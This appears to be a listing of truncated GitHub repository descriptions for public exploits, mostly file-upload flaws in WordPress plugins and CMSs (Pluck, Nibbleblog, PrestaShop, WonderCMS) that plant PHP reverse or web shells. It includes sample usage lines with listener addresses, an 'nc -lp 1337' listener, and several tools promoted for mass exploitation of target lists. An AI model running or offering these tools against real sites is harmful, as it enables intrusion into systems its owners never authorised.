CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC This repository contains a Proof of Concept for CVE-2023-50564 vulnerability in Pluck CMS version 4.7.18 Description CVE-2023-50564 is a vulnerability that allows unauthorized file uploads in Pluck CMS version 4.7.18. This exploit leverages a flaw in the module installation...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Arbitrary File Upload CVE-2015-6967 requirements python 3 requests usage usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help show this help message and exit --url URL, -l URL --username USERNAME, ...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 reverse shell upload Exploit for WpDiscuz 7.0.4 based on the the exploit written by h3v0x. Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

YAPS

YAPS - Y et A nother P HP S hell Yes, as the name reveals, this is yet another PHP reverse shell, one more among hundreds available out there, but with some advantages. It is a single PHP file containing all its functions and you can control it via a simple TCP listener e.g. nc -lp 1337. In the...

wordpress-shell

wordpress-shell Cheap & Nasty Wordpress Command Execution Shell. Execute Commands as the webserver you are serving wordpress with! Uploaded shell will probably be at /wp-content/plugins/shell/shell.php Install To install the shell, we are assuming you have administrative access to the Wordpress...

Prestashop-CVE-2024-34716

Exploit Script for CSRF and Reverse Shell Attack This script automates a CSRF Cross-Site Request Forgery exploit to upload a PHP reverse shell on a target's web server and execute it. The reverse shell is delivered as a ZIP file via a crafted CSRF payload, which is triggered when a privileged use...

CVE-2023-5360

CVE-2023-5360 An Open-source EXPLOIT for The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files, which could allow unauthenticated users to upload arbitrary files, such as PHP and achieve RCE. Table of Contents Introduction Features Usage...

Apache-Struts-v4

Apache-Struts-v4 The script contains 5 distinct vulnerabilities that exploit RCE vulnerabilities in Apache Struts. For now it only has the ability to create PHP shells. Added CVEs CVE ID| DESCRIPTION ---|--- CVE-2013-2251| Apache Struts 2.0.0 through 2.3.15 allows remote attackers to execute...

CVE-2021-25094-tatsu-preauth-rce

Preauth RCE in Tatsu builder Wordpress plugin CVE-2021-25094 Simple PoC of an unauthenticated RCE in Tatsu Builder = 3.3.11 provided as an example. Full write-up here: https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ Usage: python3 exploit-rce.py -h --technique TECHNIQUE...

CVE-2023-50564

CVE-2023-50564 For educational purposes only. This script abuses CVE-2023-50564 to upload a reverse-php shell to the target server. You can use a shell like this one. Just zip the php file and pass the zip to this script. Example python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p...

CVE-2024-52375

WordPress Datasets Manager 💥 Exploit by: Nxploit Khaled Alenazi 📅 CVE Published: November 14, 2024 🧠 CVSS Score: 10.0 Critical 🛠 CWE-434: Unrestricted Upload of File with Dangerous Type 📌 Description A critical vulnerability was discovered in the Datasets Manager by Arttia Creative WordPress...

CVE-2024-25600-mass

mass upload shell for cve python3 exploit.py -l yourlist.txt path shell https://examplewebsite.com/asd.php...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - Arbitrary File upload Description The Instant Appointment plugin for WordPress is vulnerable to Arbitrary File upload in versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to upload a shell and...

CVE-2025-56399

CVE-2025-56399 Mass Exploit CVE-2025-56399 – Remote Code Execution in laravel-file-manager v3.3.1. Exploits misconfigured config in Laravel File Manager to upload and verify a PHP shell via unauthenticated file upload. Installation Download repository git clone...

CVE-2024-53345

CVE-2024-53345 Critical 0 Day in Car Rental Management System Versions 1.0 - 1.3 Description: A critical vulnerability exists in the System Settings module's file upload functionality within the Car Rental Management System versions 1.0 to 1.3, allowing low-privileged users to upload arbitrary...

CVE-2019-15813

CVE-2019-15813 This container was made to explain and demonstrate how CVE-2019-15813 Sentrifugo works Sentrifugo V3.2 Sentrifugo is a Human Resource Management System How to Install docker-compose up Default crentials to test ----Super Admin---- Username : empp0001 Password : 5faa7bdf3d7af...

HeimShell

HeimShell CVE-2023-51803 HeimShell is an exploit for CVE-2023-51803, leveraging an arbitrary file-upload vulnerability in LinuxServer.io Heimdall ≤ 2.5.6. It will auto-detect the target version and either warn of exploitability or remote fetch a php shell defined by SHELLURL ≤ 2.2.2 : Aribtrary...

OpenSTAManager_RCE_Exploit-CVE-2026-38751-

OpenSTAManager RCE Exploit CVE-2026-38751 Overview This Python script exploits a Remote Code Execution vulnerability in OpenSTAManager version 2.10, identified as CVE-2026-38751. The exploit allows authenticated users to upload a malicious module and execute arbitrary commands on the target syste...

WonderCMS-CVE-2020-35314

CVE-2020-35314 - Authenticated Remote Code Execution in WonderCMS 3.1.3 This repository was created with the goal of testing Remote Code Execution vulnerability on WonderCMS v3.1.3. This fake plugin includes a backdoor php shell, which is located in the file evil.php. It is recommended avoid usin...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro Mass Exploit Unauthenticated arbitrary file upload leading to Remote Code Execution RCE in Piotnet Addons for Elementor Pro ≤ 7.1.70. This tool is designed for mass exploitation – feed it a list of targets, and it will automatically: Detect the...